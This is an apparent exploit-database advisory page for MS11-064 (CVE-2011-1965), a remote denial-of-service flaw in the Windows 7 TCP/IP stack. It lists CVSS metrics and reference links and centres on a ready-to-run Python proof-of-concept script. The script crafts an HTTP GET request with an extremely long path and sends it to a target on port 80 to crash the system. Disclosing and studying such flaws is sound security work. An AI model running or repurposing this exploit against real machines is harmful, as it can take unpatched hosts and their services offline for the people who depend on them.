MS11-064 TCP/IP Stack Denial of Service

2011-10-22 / 2011-10-23
Risk: High
Local: No
Remote: Yes
CWE: CWE-399


CVSS Base Score: 7.1/10
Impact Subscore: 6.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

# Exploit Title: MS11-064 : Vulnerabilities in TCP/IP Stack Could Allow Denial of Service # Date: 10/12/2011 # Author: Byoungyoung Lee, http://www.cc.gatech.edu/~blee303/ # Version: Windows 7 32bit, fully patched until Aug 2011 # Tested on: Windows 7 32bit # CVE : CVE-2011-1965 # analysis is available - http://exploitshop.wordpress.com/2011/09/07/ms11-064-vulnerabilities-in-tcpip-stack-could-allow-denial-of-service-2563894/ ------------------------------------------------------------------------------------------------------ # Byoungyoung Lee, http://twitter.com/mylifeasageek import struct import socket HOST = "localhost" # yeah, we've tried this as a local kernel exploit -:) PORT= 80 def tryOnce(i,j): print hex(i), hex(j) filename = ["a"*0x100 for x in range(i)] filename = "/".join(filename) filename += "/" + "b" * j print "filename len : ", hex(len(filename)) hostname = "www.darungrim.org" header = "GET /%s\n" % filename header += "HOST: %s\n\n\n" % hostname s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST,PORT)) s.send(header) response = s.recv(1024) s.close() print response return if __name__ == '__main__': tryOnce(0x3c,0x7)

References:

http://www.us-cert.gov/cas/techalerts/TA11-221A.html
http://www.microsoft.com/technet/security/Bulletin/MS11-064.mspx
http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:12318
http://oval.mitre.org/repository/data/DownloadDefinition?id=oval:org.mitre.oval:def:12318


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